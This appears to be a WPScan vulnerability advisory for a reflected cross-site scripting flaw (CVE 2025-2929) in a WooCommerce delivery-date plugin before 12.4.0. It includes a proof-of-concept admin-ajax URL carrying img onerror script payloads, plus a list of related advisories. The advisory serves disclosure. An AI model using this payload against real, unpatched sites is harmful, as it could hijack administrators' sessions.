Order Delivery Date Pro for WooCommerce < 12.4.0 – Reflected XSS | CVE 2025-2929 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open the URL below:

https://example.com/wp-admin/admin-ajax.php?action=orddd_order_calendar_content&order_id=43&event_value=a&event_type=order&event_timeslot=%3Cimg%20src%20onerror=alert(/XSS-event_timeslot/)%3E&event_date=%3Cimg%20src%20onerror=alert(/XSS-event_date/)%3E

Affects Plugins

order-delivery-date

Fixed in 12.4.0

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Submitter

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

e9299d8f-900b-4487-b135-b82946825e61

Timeline

Publicly Published

2025-04-29 (about 7 months ago)

Added

2025-04-29 (about 7 months ago)

Last Updated

2025-04-29 (about 7 months ago)

Other

Published

Title

Published

2014-08-01

Title

Popup Images - popup-images/popup.php z Parameter XSS

Published

2025-01-14

Title

Nativery <= 0.1.6 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-02-28

Title

WPvivid Backup for MainWP < 0.9.33 - Reflected Cross-Site Scripting

Published

2021-12-30

Title

Custom Dashboard & Login Page < 7.0 - Admin+ Stored Cross-Site Scripting

Published

2023-02-15

Title

Tapfiliate < 3.0.13 - Admin+ Stored XSS